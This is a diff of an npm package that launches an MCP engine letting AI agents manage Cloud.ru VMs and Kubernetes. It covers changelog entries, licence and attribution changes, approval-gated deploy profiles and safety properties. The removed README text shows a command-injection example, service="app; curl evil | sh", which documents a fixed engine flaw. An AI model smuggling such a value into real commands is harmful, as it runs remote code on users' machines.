@dzhechkov/cloudru-hub 0.1.12 → 0.1.14

package/.dz-manifest.json

@@ -5,19 +5,19 @@
     "files": [
       {
         "path": "CHANGELOG.md",
-        "sha256": "edc0f1b076a22dc14b863bef8b287c1b9d8618a12b7ecf9f6eb0c497f74361f3"
+        "sha256": "4d6d0e6f47b09b017a32e4f3287c0669821e61569835c397245e5077435f5b15"
       },
       {
         "path": "LICENSE",
-        "sha256": "68da42b10dcc095cdfd7249557cee30285664e5dea00dc85475ff047d975616a"
+        "sha256": "78a14ae697528fa79451ea10725c5ca356f6658378bfb39849b51d05207ab3f3"
       },
       {
         "path": "README.md",
-        "sha256": "504ce5cd5b6293b3606f861f31406ae89aa6fee45a03c9099d793aa5a456ced1"
+        "sha256": "2c25bbd9659f1a02e2a7a5413de8673e8735d67e583458fdede75dfd032b6106"
       },
       {
         "path": "THIRD_PARTY_NOTICES.md",
-        "sha256": "109cffdaaf9402e88f6cc35a0497ba49db015b329fce87ba20762f34dc95c051"
+        "sha256": "1986a75d5f90631adea8fb40c9fc182371cb875c9d62d65d07fd479b32c876df"
       },
       {
         "path": "bin/cloudru-hub.js",
@@ -33,19 +33,23 @@
       },
       {
         "path": "data/tools-classification.json",
-        "sha256": "13d6a3e87d767d0015f6b2af0223633fa99e49c69c9a8adcec8f6fce6e46d36e"
+        "sha256": "9abb3ca6347b0cd6cd51b23649c59e0a0c816e6c12a325f573b392affa350d0b"
       },
       {
         "path": "data/tools-list-snapshot.json",
-        "sha256": "56221fa8170f2b32ab6d3a907261badc07695f47ae9ac4adca4e43d2ea5ee06f"
+        "sha256": "dff98bb859dfbbf8ed2fb6f16f17b767444cc2172ecc7684ca3df8188c95707c"
+      },
+      {
+        "path": "docs/HERMES-CODEX.md",
+        "sha256": "3605797972f9a7c79c13fbcce0cd9ac8b8fb3a8249abbab938f2b1a45f515420"
       },
       {
         "path": "docs/LOCAL-TESTING.md",
-        "sha256": "092142c00295c54866330f2159a13284d04e2f35a749b32dff0ca4f2ab28ea54"
+        "sha256": "de6f709e820fbb831f390e274238b28ba938644670a8db04fd50d1fa0d86da75"
       },
       {
         "path": "package.json",
-        "sha256": "c40ea35a6a994034e4643310bdd990367abcb033f49279f5349e95fe489b4e1a"
+        "sha256": "d906ed1871af834274d77dbd3a345b168604456b15360f009a9474778273b11f"
       },
       {
         "path": "src/classification.js",
@@ -53,7 +57,15 @@
       },
       {
         "path": "src/cli.js",
-        "sha256": "db981ad0078c80ba7a859057638a2576d7f02d87ca2891f8083a92a8147742dd"
+        "sha256": "a22f3fcced6e9970e7bed6b935fc03637b6d4b8d3cd6cc65a2685595a6549c1c"
+      },
+      {
+        "path": "src/credentials.js",
+        "sha256": "21f074b4bf5b5ee9e893a2c1919cf4bb62f9fa05a0d7a1a8c04afc051ccb0e78"
+      },
+      {
+        "path": "src/deploy-approval.js",
+        "sha256": "5c1fba3d298df73ff82f28c72bc5199d23acc6dfc64022438874b0e3381c9394"
       },
       {
         "path": "src/dialects.js",
@@ -61,23 +73,47 @@
       },
       {
         "path": "src/install.js",
-        "sha256": "5d087b289aaf8cd2e1b4cffbd2227eb3bdc7264cddc0877561e08bc0ea6d6fd2"
+        "sha256": "c928db48febfb4a79884ce1830365a8302122a55fb5d6ada8e771c049396ca89"
+      },
+      {
+        "path": "src/k8s-approval.js",
+        "sha256": "014c2effd1e843d870ae1af4f93f5c82faff9972e9f6ca028ed39d47ec33ee3a"
+      },
+      {
+        "path": "src/probe-child.js",
+        "sha256": "0f7a0c1f6d0d033006ca816df49c24e69eb82aa6b70ec03491bce9e4d674bdd4"
       },
       {
         "path": "src/resolve.js",
-        "sha256": "5cbd0861c2973fab62271269b10f748b9638e74f40e8ea034f78ac63bed58001"
+        "sha256": "d3eba14c23be5bfb7e73952e6ae27908667d535f91be9c43e11dbf7b7c4de49d"
+      },
+      {
+        "path": "src/safe-mcp.js",
+        "sha256": "4f95cfb9576c411232503b26053ece6d8d186e4b337beff9bd4afd249f74a014"
+      },
+      {
+        "path": "src/toolsets.js",
+        "sha256": "89229c882b6a3f5bb9ee542b31d1a40374b91879747582a3e82e8aadc72decb3"
       },
       {
         "path": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
         "sha256": "ad8c4ea89b28a366fa72e3507dbef9f774f4f2777e6bd2289a429329ab94cc0c"
       },
+      {
+        "path": "test/billing-credentials.test.mjs",
+        "sha256": "f2e1b05bdb6a6e811844ee19b0142daa02647b387f5d96b4a5d29bd34e3c985d"
+      },
       {
         "path": "test/classification.test.mjs",
-        "sha256": "25290e9a8715d13670d617e23cb47c4c2d71b1506a8d98e5b682733b626a18b8"
+        "sha256": "026e3031180ce9227b4d31775b9c886b10ad0cb418ed0754aed75b12ded84e31"
+      },
+      {
+        "path": "test/deploy-approval.test.mjs",
+        "sha256": "d72e4363fd50d0fcc65fd23b40601516bd73368c3659f2a55a394c4d1ed3f85c"
       },
       {
         "path": "test/dialects.test.mjs",
-        "sha256": "9b83b2e2cbbee4ead33af61db840833ce4aa2dd0cf5a4448d72d5886098639c6"
+        "sha256": "3e6236f0cfb159dd73477b6243f6af536925968308085fd248df93932a2bebbf"
       },
       {
         "path": "test/hook.test.mjs",
@@ -85,7 +121,11 @@
       },
       {
         "path": "test/install.test.mjs",
-        "sha256": "e986b29346672bf75b384ab6d8657265b8ecb8f62df6563dca317c1fc63fc8fc"
+        "sha256": "07fe729b0dc6955329d0a3121ce97d575582f8c6f2895e72d0c38175f82b52d2"
+      },
+      {
+        "path": "test/k8s-approval.test.mjs",
+        "sha256": "af04d1941fb7aed2cc51b05f65ffed1c440d4d23a7fb26e13261d45e07b0a1f8"
       },
       {
         "path": "test/mutation-registry-freshness.test.mjs",
@@ -93,17 +133,21 @@
       },
       {
         "path": "test/mutation-registry.json",
-        "sha256": "e56ee7b4ba160f28687423ca113d1bfbcbfdd351fe9d31ad5a19b4d0069dbe3a"
+        "sha256": "09b8fdc28bbe5df9b4cfd7d563c1acb479532157bbe1a99e909b3b370dd96630"
       },
       {
         "path": "test/pack-holds.test.mjs",
-        "sha256": "a083ff619f1d97b3e0e1b95dec6e98b56c4296da5171e2eb41c713dd983c8d69"
+        "sha256": "f5e66cce7344efb22c40bba91b422ce84979948b66bb0305377f8c12eb078002"
       },
       {
         "path": "test/resolve.test.mjs",
-        "sha256": "6b524f69c5ed03aaafab67e734e58092033423b86feade28ad03f516feba2380"
+        "sha256": "9ad83ba418dee86ef680575a0cc7da4af4be3ae995c00f23f84b336838fbda47"
+      },
+      {
+        "path": "test/safe-mcp.test.mjs",
+        "sha256": "45406dabeee0635ede5cda3d2f4144c5c13886d624287fd223b01252d2859b87"
       }
     ]
   },
-  "signature": "NhFBu/MKRxi0dLb3A40PAfnOWi8pqEXs1vZ6+3AQIoh7K09B9/BFQXdQnMiCCfTtG1getGxSNK2SCr/57FGIBw=="
+  "signature": "l3G7HKnPVq9k2pUtMFbeaNybS7PUSGnlJAn3dSZvcXRKKQ4TEFmxYfgO4Urjw2spCra9M3UAkRVSJfkUX7zYCw=="
 }

package/CHANGELOG.md

@@ -1,5 +1,94 @@
 # Changelog — @dzhechkov/cloudru-hub
 
+## 0.1.14 — 2026-10-20
+
+- Prepare an exact optional dependency on `@dzhechkov/cloudru-vm-linux-x64@0.2.6`.
+  A fresh Linux/x64 installation resolves the separately packed Go engine;
+  no postinstall download is used.
+- Credit Timur's substantial Cloud.ru API testing and the defects it revealed;
+  correct the earlier attribution in current package materials.
+- Build the Linux/x64 platform engine with `CGO_ENABLED=0` and pin the resulting
+  static binary. The first GitHub Actions build exposed a C-toolchain-dependent
+  hash from the earlier dynamic build; the static artifact passed its GitHub CI build.
+
+## 0.1.13 — 2026-10-20
+
+This release publishes the previously private launcher and host-adapter preview.
+The Go engine is not included in this npm archive or available as a platform
+package yet. All Cloud.ru operations require an owner-supplied engine matching
+the pinned SHA-256; both MCP launcher routes refuse a mismatched engine.
+
+- Complete both OpenCode and Pi live static-site VM scenarios: agent-authored
+  Snake and the pinned 12-file repository archive. Each host retained one
+  `deploy_apply` result per run, independent HTTP bytes matched the reviewed
+  source, and exact VM/security-group cleanup restored baseline inventory.
+  Set the host-specific long-call timeout to 1,200 seconds.
+- Add an opt-in `k8s-deploy` pilot for Codex, Claude Code, Hermes, OpenCode and
+  Pi. A local one-use approval binds an exact three-resource Snake manifest to
+  an existing cluster, namespace and project; the proxy exposes only bounded
+  readback and sends `create_only=true` to avoid patching name collisions.
+  The private Go engine is rebuilt as `0.2.6-20261020` with SHA-256
+  `89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10`.
+  Local tests pass; a Kubernetes role was later granted and the four available
+  hosts passed live deployment. Claude Code inference remains unavailable.
+
+- Keep Hermes MCP discovery responsive while a long `deploy_apply` is running:
+  cache the pinned proxy's filtered tool list after its first successful read.
+  The previous serial Go backend could not answer Hermes' keepalive during VM
+  creation, causing a reconnect and an unknown outcome for the agent. Both
+  post-fix live Snake scenarios passed: Hermes received the final apply result,
+  independently served bytes matched the approved source, and each temporary
+  VM and dedicated security group was removed.
+
+- Verify Hermes' built-in import of this server's existing Codex CLI OAuth
+  credentials. The isolated and default Hermes profiles now select
+  `openai-codex` / `gpt-6-sol` and each passed a short inference probe. This
+  cleared the model-provider blocker before the live Hermes VM acceptance runs.
+
+- Accept both flat and nested Cloud.ru subnet availability-zone IDs during VM
+  planning; reject conflicting IDs. Live `/api/v1/subnets` returned the nested
+  form and previously made the planner reject a valid project subnet. Add API
+  response and planner regression tests.
+- Complete both Codex-hosted static-site VM acceptance scenarios (new Snake
+  source and a pinned GitHub archive), with exact-byte HTTP verification and
+  cleanup of each test VM/security group. Hermes connects to the 12-tool
+  profile but its available model-provider credentials failed before inference;
+  OpenCode and Pi were still pending at this point. The final rebuilt binary
+  was checked with a read-only live plan, Go and package tests; the two paid
+  deploys used the immediately preceding binary before fail-closed zone-field
+  hardening.
+
+- In the private preview, add bounded static-site Cloud-init deployment with
+  reviewed source digests, a dedicated HTTP security group, existing-IP
+  approval, exact-byte HTTP checks, and durable run checkpoints. The preview
+  engine pin was `0.2.5-20261020` at that stage; public engine redistribution remains a
+  separate gate.
+
+- Add `mcp-safe`, a pinned MCP process boundary that exposes only allow-classified tools,
+  blocks other calls before the engine, and supports named toolsets. Host installers default
+  to the 11-tool inventory group; `all` exposes the full 78-tool allow-classified surface.
+- Add project MCP registrations for Codex, OpenCode and Pi and a guarded Hermes YAML
+  registration. Hermes receives an explicit path to a locally hash-verified engine because
+  it filters inherited environment variables. Complex configuration and pre-existing Cloud.ru entries are refused.
+- Canonicalize forwarded JSON-RPC requests to prevent case-insensitive Go field aliases
+  from bypassing tool filtering; close the proxy when its engine exits unexpectedly.
+- Repair `self-test` tools/list probing so a persistent MCP server is stopped after its
+  response; report a SHA-256 mismatch as a failed step.
+- Add fake-engine boundary tests and verify the real pinned engine's 144-tool classification
+  and the proxy's 11-tool inventory list locally. The installed Hermes client connected to
+  the generated server and discovered 11 tools; other host-session activation and real
+  Cloud.ru operations remain unverified.
+- Import the Go engine into the private source tree with provenance; fix shell quoting in
+  `logs`, make `stack_status` observational, fail `doctor` on failed checks, refuse a VM
+  create when inventory fails, and report state-persistence failure after a create.
+- Pin the locally rebuilt `0.2.4-20261019` Go engine and recapture its 144-tool schema.
+  `stack_status` changes from ask to allow after its Go behavior fix; `stack_apply`
+  remains ask. The current public platform package does not match this private pin.
+- Add an opt-in `vm-deploy` profile for Hermes and Codex with a private credentials
+  file, exact-plan/cost approval, one-use apply, and VM-scoped remote execution.
+  Fake-engine tests cover forged confirmation, approval replay, changed plans and
+  execution on an unrelated VM. Live Cloud.ru acceptance is pending temporary keys.
+
 ## 0.1.6
 
 Corrects the link added in 0.1.5: the Тимур credit now points at his about page

package/LICENSE

@@ -1,14 +1,5 @@
 # LICENSE — @dzhechkov/cloudru-hub
 
-This file has two parts because the shipped work has two provenances. Part 1 covers every
-byte actually contained in this npm package. Part 2 records the licensing status of the
-Hermes engine additions, which this package deliberately does NOT contain.
-
----
-
-## Part 1 — Code contained in this package (launcher, target adapters, installer, tests)
-##          and the original Go CLI foundation
-
 MIT License
 
 Copyright (c) 2026 Dmitry Zhechkov
@@ -31,37 +22,9 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 SOFTWARE.
 
-Authorship note (ADR-001 amendment AM-1, recorded 2026-08-09): the original Go CLI
-foundation on which the Hermes engine builds (cli.go / internal/cli) was authored by
-Dmitry Zhechkov, the owner of this repository. The Hermes engine is a DERIVATIVE work
-built on that foundation. This note states the owner's own authorship as fact; it does
-NOT assert, imply, or substitute for any grant by the Hermes engine author.
-
----
-
-## Part 2 — The Hermes engine additions (the ~144-tool MCP layer) — NOT in this package
-
-This package contains ZERO bytes of the Hermes engine additions: no engine binary, no
-engine Go sources, no engine skill corpus. The engine binary is located at RUNTIME
-(environment variable / config path / a future platform package) and is never bundled
-here. See ADR-002 (distribution form) and the package README.
-
-Redistribution status of the engine additions (the Hermes author's contribution on top
-of the owner's CLI foundation):
-
-GRANT RECORDED (ADR-001 AM-2, exit 2 — 2026-08-12): Тимур, the author of the Hermes
-engine additions (the ~144-tool MCP layer built on the owner's original Go CLI
-foundation), approved publication of this package, as reported by the repository owner
-(Dmitry Zhechkov) on 2026-08-12. The approval is owner-attested; archiving the author's
-written confirmation is a recorded owner follow-up (see the grant record linked below).
-Per the owner's standing attribution condition, publication carries authorship credit:
-the Hermes engine additions are the work of Тимур; the original Go CLI foundation and
-every byte contained in this package are the work of Dmitry Zhechkov (Part 1).
-
-The author did not designate a licence text for the engine additions themselves.
-Accordingly: this package continues to ship ZERO bytes of the engine additions, the MIT
-licence in Part 1 covers ONLY the owner's code, and nothing in this file grants any
-third party rights to the engine additions — their use remains governed by their
-author's own terms.
+This launcher archive contains ZERO bytes of the Go engine: no binary or Go sources.
+The engine is distributed separately with its own package license and third-party
+notices. Тимур contributed substantial Cloud.ru API testing and identified API
+behavior and defects. The corrected attribution record is linked below.
 
 Grant-Confirmation: https://github.com/djd1m/dz-harness-hub/blob/main/features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md

package/README.md

@@ -1,12 +1,10 @@
 # @dzhechkov/cloudru-hub
 
-> **STATUS: published — the ADR-001 licence hold is SATISFIED (AM-2, 2026-08-12).**
-> [Тимур](https://shkrbkv.ru/about/), the author of the Hermes engine additions, approved publication (owner-reported
-> 2026-08-12 — the grant record is linked from the `Grant-Confirmation:` line in LICENSE
-> Part 2; archiving the author's written confirmation is a recorded owner follow-up).
-> The `dz guard` `licence-hold` rule stays armed and keeps verifying
-> LICENSE/THIRD_PARTY_NOTICES/SPDX on every publish — a satisfied hold passes with the
-> trigger in place.
+Site: https://aicoding.space · Source: https://github.com/djd1m/dz-harness/tree/main/packages/@dzhechkov/cloudru-hub
+
+> **Linux/x64 distribution:** version 0.1.14 installs the exact optional engine
+> package `@dzhechkov/cloudru-vm-linux-x64@0.2.6`. The `dz guard` `licence-hold`
+> rule continues to check LICENSE, notices and SPDX on publish.
 
 > **Unofficial. NOT affiliated with, endorsed, or supported by Cloud.ru.** "Cloud.ru" is a
 > trademark of its owner; this launcher merely talks to the public Cloud.ru Evolution API
@@ -17,28 +15,33 @@ Thin JS launcher for the **`cloudru-vm` MCP engine** — a Go MCP server with **
 Evolution: VMs, k8s, PostgreSQL/Kafka/Redis, DNS, S3, certificates, billing/FinOps, and a
 docker-compose deploy wizard.
 
+The launcher archive contains no engine binary. On Linux/x64, npm installs the exact
+optional platform package with the pinned Go engine. Run:
+
+```bash
+npm install -g @dzhechkov/cloudru-hub@0.1.14
+cloudru-hub self-test
+```
+
+The self-test verifies the engine SHA-256, version, 144 live MCP tools and their
+classification without Cloud.ru credentials. On another platform, or if optional
+dependencies were disabled, provide a trusted binary with the same SHA-256.
+
 ## Attribution
 
-- **CLI foundation and everything in this package** (launcher, adapters, installer,
-  tests): **Dmitry Zhechkov** (MIT — LICENSE Part 1). Per ADR-001 AM-1 the original Go
-  CLI on which the engine builds is the owner's work; the Hermes engine is a derivative
-  of it.
-- **Hermes engine additions** (the ~144-tool MCP layer): **[Тимур](https://shkrbkv.ru/about/)**, the Hermes author.
-  **Zero bytes of those additions ship in this package** — no binary, no Go sources, no
-  skill corpus. Publication of this package was approved by the author (grant recorded
-  2026-08-12 — LICENSE Part 2, `Grant-Confirmation:` link). The author designated no
-  licence text for the engine additions themselves; nothing here grants third parties
-  rights to them.
+**[Тимур](https://shkrbkv.ru/about/)** carried out extensive Cloud.ru API testing,
+identifying actual behavior and defects.
+The JS launcher remains MIT-licensed; its archive contains no Go engine bytes.
 
 ## What ships here (our code only — ADR-002)
 
 | Piece | Where | What it does |
 |---|---|---|
-| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64` (exists only post-grant); verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
-| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (65 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 77 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
-| Target tiering (ADR-005) | `src/install.js` | claude-code = full install; codex = plan-only (delivery requires an executed veto probe); openclaude/opencode/cursor/windsurf/copilot = **refused** (DEGRADED until live probe); agents-md/gemini = pointer-only ≤2048 chars with a mandatory no-veto warning |
+| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64`; verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
+| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (64 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 78 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
+| Target integration | `src/install.js`, `src/safe-mcp.js` | Codex, OpenCode and Pi get project MCP configs using a pinned proxy; Hermes gets a guarded `$HERMES_HOME/config.yaml` entry with a verified engine path. Claude Code's general install keeps its permissions and hook probe. The opt-in `vm-deploy` profile requires an exact-plan approval and confines remote commands to the returned VM. Codex, Hermes, OpenCode and Pi each completed both live static-site scenarios on 2026-10-20 with HTTP byte checks and exact resource cleanup. The `k8s-deploy` profile uses a separate exact-manifest approval and create-only Kubernetes operation; the same four hosts completed live Kubernetes deployment, readiness, exact-byte HTTP and cleanup checks. Claude Code has installer/registration checks but no live inference pass. |
 | Skill dialect compiler (ADR-006) | `src/dialects.js`, `data/dialects.json` | generates per-target variants of the canonical skill tree (which is NOT shipped — point `--canonical` at an engine distribution); hard-fails if any Hermes-dialect token survives AND if the engine codename survives in any case in any emitted file (positive invariant, not just the enumerated denylist); unlinks dangling links; enforces the 12 000-char router cap on lossy layouts; byte-deterministic |
-| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the tool's engine handler (read-only proven at the pinned baseline, engine file:line cited per entry — schema shape alone is never sufficient: the `confirmed`-prop heuristic mis-filed `stack_status`, which advances jobs and invokes paid create tools); a live tool unknown to it is a drift finding (deny-by-default) |
+| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the handler (read-only proven at the pinned baseline, engine file:line cited per entry). The previous `stack_status` behavior was unsafe; the imported engine now makes it observational and tests that invariant. A live tool unknown to the classifier is a drift finding. |
 
 ## Usage
 
@@ -46,52 +49,64 @@ docker-compose deploy wizard.
 cloudru-hub resolve                 # where is the engine, which sha256, is it the pinned baseline
 cloudru-hub self-test               # resolve → sha256 → engine version → live tools/list → coverage
 cloudru-hub mcp                     # run the engine as an MCP stdio server (what .mcp.json points at)
+cloudru-hub mcp-safe --toolsets inventory   # pinned MCP proxy with a small allow-classified surface
+cloudru-hub install --target codex --toolsets billing  # read-only balance, consumption and FinOps
+cloudru-hub install --target codex --toolsets vm-deploy  # guarded VM deployment profile
+cloudru-hub install --target codex --toolsets k8s-deploy # bounded existing-cluster Snake profile
+cloudru-hub k8s-approve --cluster-id <uuid> --namespace snake-pilot --manifest <snake.yaml> --manifest-sha256 <digest>
+cloudru-hub approve --plan-id <id> --max-monthly-rub <cap>  # one reviewed SSH plan
+cloudru-hub approve --plan-id <id> --max-monthly-rub <cap> --site-sha256 <digest>  # reviewed static-site artifact
 cloudru-hub install --target claude-code   # emit .mcp.json + permission brake + veto hook, PROBE the veto
+cloudru-hub install --target codex         # project .codex/config.toml using mcp-safe
+cloudru-hub install --target opencode      # project opencode.json using mcp-safe
+cloudru-hub install --target pi            # project .pi/mcp.json using mcp-safe
+cloudru-hub install --target hermes        # require a hash-verified engine; add safe entry to $HERMES_HOME/config.yaml
 cloudru-hub install --target agents-md     # pointer-only section (no tools, no fake support)
 cloudru-hub compile-skill --canonical <engine>/skill/cloudru-hub --target claude-code --out ./skill-out
 ```
 
-## Local testing (works now, no publish)
+## Using an owner-supplied engine instead
 
 ```bash
-export CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm   # e.g. the pinned 0.2.3-20260718 baseline
+export CLOUDRU_VM_BIN=/path/to/trusted/cloudru-vm   # must match the pinned build
 node bin/cloudru-hub.js self-test
 ```
 
 Expected: 5 green steps ending `self-test: ALL GREEN` (resolution, sha256 match against
-the pinned baseline `59f83fc0…c05124`, engine version, 144 live tools, full
+the pinned baseline `4463b093…97a97c9b6`, engine version, 144 live tools, full
 classification coverage). Full walkthrough incl. `npm link` and MCP registration:
 [`docs/LOCAL-TESTING.md`](docs/LOCAL-TESTING.md).
 
+Host setup, checks and limits: [`docs/HERMES-CODEX.md`](docs/HERMES-CODEX.md). These adapters are generated from our own classification and do not reuse EVO code. EVO's broader standalone CLI and toolset selection remain advantages to carry into the owner's Go engine.
+
+For billing through `mcp-safe`, add the optional `"agreement_id":"…"` to the owner-only `~/.config/cloudru-hub/credentials.json` alongside `key_id`, `secret` and `project_id`. The proxy forwards it to the Go child as `CLOUDRU_AGREEMENT_ID`. Existing environment-only billing setups remain supported when no credential file is configured. The current consumption tool reports the agreement-wide total; its output should not be presented as a per-project bill. See the [Cloud.ru instructions for locating the agreement ID](https://cloud.ru/docs/billing/ug/topics/faq__api_id_agreement).
+
+The `vm-deploy` and `k8s-deploy` profiles are included in the launcher as **opt-in previews**. They require the matching pinned Go binary and temporary credentials in a private local file. On Linux/x64, a normal npm installation supplies that binary through the optional platform package. A static site can be planned from a local HTML file or a bounded ZIP snapshot with `deploy_plan(static_site_source=...)`; the operator checks the source digest shown in the plan and supplies that digest to `approve`. Every included ZIP file is served publicly, so review the file list in the plan and keep credentials out of the artifact. Planning requires an existing available floating IP, whose ID is bound to the approval. Apply creates a dedicated TCP-80 security group, boots the VM from fixed Cloud-init data, and reports the site as verified only after the approved IP is attached to that VM and exact-byte HTTP checks pass. A private run journal keeps resource IDs for interrupted-run recovery and blocks blind replay. The estimate covers compute and disk; a public IP may have a separate charge. The static-site route does not authorize `vm_exec` over SSH. See the two-Snake acceptance procedure in `features/cloudru-cli-vm-deploy/SNAKE-ACCEPTANCE.md` in the private source tree.
+
+The Kubernetes preview accepts only one reviewed manifest containing a ConfigMap, a non-root single-pod Deployment and a ClusterIP Service in an existing namespace. `k8s-approve` binds exact manifest bytes, cluster, namespace, project and a ten-minute single-use approval. The agent passes only the approval ID; the proxy forwards `create_only=true`, so an existing resource name is a conflict instead of being patched. Kubernetes `create` is not transactional across three documents: inspect and clean up any partially created resources by exact name before trying again. Use a dedicated namespace with no pre-existing resources matching the app label or the three approved names. The profile does not create a cluster, namespace, nodes, NAT, ingress or load balancer. The example, local evidence and four-host live acceptance are in `features/cloudru-k8s-snake-deploy/` in private source. The service account's initial 403 was resolved by granting the Kubernetes role; Claude Code inference remains unavailable for a live host test.
+
 ## Safety properties (all layer-1, discrimination-proven)
 
 Every named property has a mutation-gate entry (`test/mutation-registry.json`, run
 `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`) that deletes the protection
-and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08-12):
-
-1. **The licence gate stays armed post-grant** — the `licenseHold` trigger field
-   deliberately STAYS in package.json, so the `dz guard` `licence-hold` HARD rule keeps
-   verifying LICENSE (grant record + `Grant-Confirmation:` URL, no PENDING placeholder),
-   THIRD_PARTY_NOTICES and the SPDX field on every publish; pack tests additionally pin
-   the honest grant wording (owner-attested, no fabricated grant deed), the SPDX-matches-
-   LICENSE invariant (ADR-001 Confirmation) and the publishable state.
+and requires the suite to go RED. The registry passed on 2026-10-20 with 13/13
+protections proven:
+
+1. **The licence gate stays armed** — the `licenseHold` trigger field remains in
+   package.json, so `dz guard` checks LICENSE, the corrected provenance link,
+   THIRD_PARTY_NOTICES and the SPDX field on every publish. Pack tests verify the
+   corrected API-testing attribution and the publishable state.
 2. **Zero upstream engine bytes** — explicit `files[]` whitelist + a test that walks the
    `npm pack --dry-run` file list rejecting ELF magic, `.go` sources and engine paths.
 3. **The paid-step brake vetoes** — acid fixtures run the emitted hook (`sshpass` → exit 2,
    keyed ssh → 0, `rollout restart` → 2, `rollout status` → 0); the installer refuses to
    report success unless the executed probe blocks.
-4. **`stack_status` stays ask** (ADR-004 AM-1) — it ADVANCES planned/running stack jobs
-   server-side, invoking the paid create tools (`tools_stack.go:479` → `advance` →
-   `s.callTool` `:220`; LIVE-REPRODUCED: one call moved a planned job to `running` and
-   attempted `provision`). Flipping it back to allow re-opens the zero-prompt paid chain
-   `stack_plan→stack_status` and goes RED.
-5. **`logs` stays ask** (ADR-004 AM-2) — it concatenates its user-controlled `service`
-   arg RAW into a remote `docker compose logs <service>` run over SSH (`tools.go:1758` →
-   `engine/logs.go:61` `cmd += " " + opts.Service` → `Deployer.Exec` → `session.CombinedOutput`
-   `internal/deploy/ssh.go:117`), so `service="app; curl evil | sh"` is arbitrary RCE on the
-   user's VM. Flipping it back to allow puts that command-injection path behind a silent
-   allow and goes RED. (Engine injection flagged to the author — the classifier can only
-   prompt, it cannot escape the arg.)
+4. **`stack_status` only observes** — the private Go engine no longer advances planned or
+   running jobs on a read; `stack_apply` is the explicit paid action. The Go regression
+   test checks repeated status calls, and the classification now permits the read.
+5. **`logs` stays ask** — the engine now shell-quotes its user-controlled `service` as
+   one argument, with a regression test for hostile input. It still reaches remote SSH
+   and can expose logs, so the proxy does not silently permit it.
 6. **The dialect codename gate is armed** — emptying `forbiddenCodenames` (the positive
    case-insensitive, word-boundary net under the 8-token denylist) goes RED; the denylist
    alone let the bare codename survive 5× in the real-corpus compile (MEASURED). The gate
@@ -109,23 +124,17 @@ and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08
    either scrub goes RED (`dialect-binary-path-leak-scrubbed`,
    `dialect-binary-invocation-leak-scrubbed`).
 
-## Post-grant publish checklist (executed 2026-08-12)
+## Platform package status
 
-1. ✅ Grant recorded (ADR-001 AM-2, exit 2): LICENSE Part 2 placeholder replaced with the
-   owner-attested grant record + `Grant-Confirmation:` link, `"license": "MIT"` (owner
-   code only), `private` removed, `licenseHold` trigger deliberately KEPT armed.
-   Open owner follow-up: archive the author's written confirmation in the grant record.
-2. ✅ `dz guard check --op publish` passes (the licence-hold rule verifies all of it).
-3. ⏳ NOT YET: the platform package `@dzhechkov/cloudru-vm-linux-x64` (the binary-carrying
-   channel) still requires the ADR-002 trusted-CI build (`-trimpath`, sha256 must equal
-   `cloudruHub.binaryHashes['linux-x64']`) + the go-licenses reconciliation in
-   THIRD_PARTY_NOTICES before ITS first publication. Until then the engine binary is
-   supplied via `$CLOUDRU_VM_BIN` or `~/.cloudru-hub/config.json` (see *Local testing*).
-4. ✅ Published via the repo's standard release flow.
+The separate `@dzhechkov/cloudru-vm-linux-x64@0.2.6` package is installed
+automatically on Linux/x64 unless optional dependencies are disabled. Its static
+build reproduces the pinned SHA-256 and bundles the license and NOTICE files
+of linked Go modules. `CLOUDRU_VM_BIN` and `~/.cloudru-hub/config.json` remain
+available for an explicitly supplied matching binary (see *Local testing*).
 
 ## Tests
 
-`npm test` — 70 tests, 70 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-08-12;
-node:test, zero deps). Suite includes the tarball-content gate,
+`npm test` — 107 tests, 107 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-10-20;
+node:test with `yaml` as the sole runtime dependency). Suite includes the tarball-content gate,
 the post-grant licence gates, the brake acid tests, installer tiering, and dialect
 compilation.

package/THIRD_PARTY_NOTICES.md

@@ -3,10 +3,11 @@
 This npm package itself contains no third-party code (its launcher, adapters, installer
 and tests are original work — see LICENSE Part 1, MIT).
 
-This file exists because of ADR-001 point 4: the `cloudru-vm` engine binary that the
-launcher RESOLVES AT RUNTIME (and that a future `@dzhechkov/cloudru-vm-linux-x64`
-platform package would carry, post-grant) is a statically linked Go executable that
-embeds the following third-party modules (source of record: `engine/go.mod` in the
